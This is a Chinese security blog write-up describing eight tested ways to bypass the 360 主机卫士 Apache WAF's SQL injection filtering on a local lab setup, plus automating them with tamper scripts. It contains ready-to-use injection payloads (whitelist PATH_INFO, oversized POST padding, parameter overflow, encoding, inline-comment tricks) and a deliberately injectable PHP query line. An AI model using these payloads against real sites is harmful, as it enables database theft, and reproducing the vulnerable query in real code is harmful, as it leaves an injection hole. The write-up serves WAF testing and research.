Bypass 360主机卫士SQL注入防御(多姿势)

安全工具 2019-11-10

本文作者:Bypass(来自信安之路作者团队)

在服务器客户端领域,曾经出现过一款 360 主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影。

从半年前的测试虚拟机里面,翻出了 360 主机卫士 Apache 版的安装包,就当做是一个纪念版吧。

这边主要分享一下几种思路,Bypass 360 主机卫士 SQL 注入防御。

img

0x01 环境搭建

360 主机卫士官网:

http://zhuji.360.cn

软件版本:360 主机卫士 Apache 纪念版

测试环境:phpStudy

本地构造 SQL 注入点:

$id=$_REQUEST['id']; $query = "SELECT * FROM admin WHERE id = $id ";

0x02 WAF 测试

因 zhuji.360.cn 站点已关闭,拦截界面为空白,抓包先放一张拦截图:

img

姿势一:网站后台白名单

在 360 主机卫士客户端设置中存在默认网站后台白名单,如图:

img

利用 PHP 中的 PATH_INFO 问题,随便挑选一个白名单加在后面,可成功 bypass。

/test.php/admin?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

img

姿势二:静态资源

当文件后缀名为 js、jpg、png 等静态资源后缀请求,类似白名单机制,waf 为了检测效率,直接略过这样一些静态资源文件名后缀的请求。

/test.php/1.png?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

img

姿势三:缓冲区溢出

当 Post 大包时,WAF 在处理测试向量时超出了其缓冲区长度,超过检测内容长度将会直接 Bypass,如果正常用户上传一些比较大的文件,WAF 每个都检测的话,性能就会被耗光。

基于这些考虑,POST 大包溢出的思路可成功 Bypass。

访问下面的地址:

/test.php

POST数据如下:

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,schema_name from information_schema.SCHEMATA

img

姿势四:uri 参数溢出

这种溢出的形式,我称它为 uri 参数溢出。比如某 WAF,默认情况下只能获取前 100 个参数进行检测,当提交第 101 个参数时,那么,将无法对攻击者提交的第 100 个以后的参数进行有效安全检测,从而绕过安全防御。

经测试,当提交的参数个数超过 97 个,可进行 union select 查询,再增加对关键字 from 的绕过,可成功 Bypass。

访问地址如下:

http://192.168.204.128/test.php

POST书籍如下:

id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1 union select 1,2,schema_name %0a/!from/information_schema.SCHEMATA

img

姿势五:GET+POST

一个历史久远的逻辑问题了,当同时提交 GET、POST 请求时,进入 POST 逻辑,而忽略了 GET 请求的有害参数输入,可轻易 Bypass。

访问如下 URL:

/test.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

POST数据如下:

aaa

img

姿势六:multipart/form-data 格式

将 Post、Get 数据包转为上传 multipart/form-data 格式数据包,利用协议解析的差异,从而绕过 SQL 防御。

 ------WebKitFormBoundaryACZoaLJJzUwc4hYMContent-Disposition: form-data; name="id"1 union /* !select*/ 1,2,schema_name【这里使用Enter换行】from information_schema.SCHEMATA------WebKitFormBoundaryACZoaLJJzUwc4hYM--

如果转换数据包进行绕过呢?

首先,新建一个 html 页面:

 <html><head></head><body><form action="http://192.168.204.128/test.php" method="post" enctype="multipart/form-data"><input type="text" name="id"><input type="submit"></form></body></html>

然后,在浏览器打开并在输入框中输入参数,抓包发送到 Repeater,进一步构造 Payload 获取数据。

img

姿势七:编码绕过

客户端对 Payload 进行编码,服务端能够自动进行解码,这时候就考验 WAF 的编码解码能力了,如果 WAF 不能进行有效解码还原攻击向量,可能导致绕过,常见编码如 URL 编码、unicode 编码(IIS)、宽字节编码等。

这个地方虽然 URL 编码也能绕过获取数据,主要是因为 WAF 对 POST 的防御规则太过于松散,union select 随便绕,select from 用 %0a 就可以解决,主要分享一下编码绕过的思路。

/test.php?id=1

POST数据如下:

id=1 %55nion %53elect/ !1,2,schema_name %0aFROM information_schema.SCHEMATA /

img

姿势八:%0a + 内联注释

利用 Mysql 数据库的一些特性,绕过 WAF 的防御规则,最终在数据库中成功执行了 SQL,获取数据。

http://192.168.204.128/test.php

POST数据如下:

id=1 union%0a/ !12345select / 1,2,schema_name%0a/ !12345from /information_schema.SCHEMATA

img

0x03 自动化 Bypass

当测试出绕过 WAF SQL 注入防御的技巧后,可通过编写 tamper 脚本实现自动化注入,以姿势八:%0a+内联注释为例,主要是针对 union select from 等关键字替换,Payload 中的部分关键字可能会被 waf 拦截,需要一步步调试,测试,总结规律。

tamper 脚本:

img

加载 tamper 脚本,可成功获取数据

img

这边也分享一下,另一个比较简单的自动化注入的方法,就是使用超级 SQL 注入工具,利用这边提供的注入绕过模块,结合日志中心的测试记录,可以很方便的进行调试,然后保存绕过模板,方便下次调用。

img

利用前面的关键字符进行替换,自动化注入获取数据库数据:

img


本文由 信安之路 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论